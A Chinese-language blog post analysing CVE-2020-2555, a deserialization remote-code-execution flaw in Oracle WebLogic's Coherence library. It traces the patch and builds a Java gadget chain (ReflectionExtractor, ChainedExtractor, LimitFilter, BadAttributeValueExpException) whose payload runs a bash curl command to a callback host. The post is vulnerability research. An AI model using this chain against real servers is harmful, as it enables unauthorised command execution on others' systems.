警告
本文最后更新于 2020-03-09 ,文中内容可能已过时。
Weblogic 简直是个无底洞.
2020.03.06 早上4点,看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告,在推特上搜了一波,发现有详细的分析文章,遂有此文。
个人研究,没钱买补丁,这里借用Zero Day 的图。
补丁中将LimitFilter
类的toString()
方法中的extract()
方法调用全部移除,而我们需要知道在CommonsCollections5 中可以利用BadAttributeValueExpException
来调用任意类的toString()
方法。
接着来看下没打补丁之前LimitFilter
类的toString()
方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
public String toString () {
StringBuilder sb = new StringBuilder ( "LimitFilter: (" );
sb . append ( this . m_filter ). append ( " [pageSize=" ). append ( this . m_cPageSize ). append ( ", pageNum=" ). append ( this . m_nPage );
if ( this . m_comparator instanceof ValueExtractor ) {
ValueExtractor extractor = ( ValueExtractor ) this . m_comparator ;
sb . append ( ", top=" ). append ( extractor . extract ( this . m_oAnchorTop )). append ( ", bottom=" ). append ( extractor . extract ( this . m_oAnchorBottom ));
} else if ( this . m_comparator != null ) {
sb . append ( ", comparator=" ). append ( this . m_comparator );
}
sb . append ( "])" );
return sb . toString ();
}
toString()
中会将this.m_oAnchorTop
和this.m_oAnchorBottom
作为参数传入ValueExtractor.extract()
,补丁移除了extractor.extract()
操作,跟进extract()
看下,发现extract()
只是一个抽象方法,并没有实现,那说明extract()
在ValueExtractor
的子类中可以利用。因为是反序列化,所以我们只需要在ValueExtractor
子类中找到实现了Serializable
或者ExternalizableLite
反序列化接口并且有extract()
的方法。最终在com.tangosol.util.extractor.ReflectionExtractor#extract()
找到了反射任意方法调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public E extract ( T oTarget ) {
if ( oTarget == null ) {
return null ;
} else {
Class clz = oTarget . getClass ();
try {
Method method = this . m_methodPrev ;
if ( method == null || method . getDeclaringClass () != clz ) {
this . m_methodPrev = method = ClassHelper . findMethod ( clz , this . getMethodName (), ClassHelper . getClassArray ( this . m_aoParam ), false );
}
return method . invoke ( oTarget , this . m_aoParam );
} catch ( NullPointerException var4 ) {
throw new RuntimeException ( this . suggestExtractFailureCause ( clz ));
} catch ( Exception var5 ) {
throw ensureRuntimeException ( var5 , clz . getName () + this + '(' + oTarget + ')' );
}
}
}
到现在为止我们可以传入一个Runtime.getRuntime()
的oTarget
,将this.m_methodPrev
赋值为exec,然后this.m_aoParam
就是我们的命令参数,就可以RCE了。而对于反序列化而言,我们需要继续构建对象,让他自己执行Runtime.getRuntime()
,这里很像cc链中的InvokerTransformer.transform()
,那有没有像cc链中的ChainedTransformer
类呢。遂找到了com.tangosol.util.extractor.ChainedExtractor#extract()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@JsonbCreator
public ChainedExtractor ( @JsonbProperty ( "extractors" ) ValueExtractor [] aExtractor ) {
super ( aExtractor );
this . m_nTarget = this . computeTarget ();
}
public E extract ( Object oTarget ) {
ValueExtractor [] aExtractor = this . getExtractors ();
int i = 0 ;
for ( int c = aExtractor . length ; i < c && oTarget != null ; ++ i ) {
oTarget = aExtractor [ i ] . extract ( oTarget );
}
return oTarget ;
}
和cc5的构造很像,我们一步一步构造下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor (
"getMethod" ,
new Object [] { "getRuntime" , new Class [ 0 ] }
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor (
"invoke" ,
new Object [] { null , new Object [ 0 ] }
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor (
"exec" ,
new Object [] { new String [] { "/bin/bash" , "-c" , "curl http://172.16.1.1/success" }}
);
首先先构造三个ReflectionExtractor
对象来调用反射拿到我们想要的,然后把他放到ReflectionExtractor
数组中,将数组通过构造函数赋值给ChainedExtractor
。
1
2
3
4
5
6
7
ReflectionExtractor [] extractors = {
extractor1 ,
extractor2 ,
extractor3 ,
};
ChainedExtractor chainedExtractor = new ChainedExtractor ( extractors );
那到目前为止,只要反序列化执行了chainedExtractor.extract()
就可以造成rce。而前文所说,toString()
中是执行了extract()
的,所以我们将chainedExtractor
通过反射赋值给limitFilter
对象。然后通过BadAttributeValueExpException
触发limitFilter
对象的toString()
,进而触发extract()
一步一步调用method.invoke()
,继而通过反射拿到Runtime.getRuntime().exec("")
,达成RCE。
coherence.jar
要使用和目标版本一致的,不然会有serialVersionUID
不一致的问题。BadAttributeValueExpException
对jdk的版本有要求。具体看这里 https://github.com/Y4er/CVE-2020-2555
https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。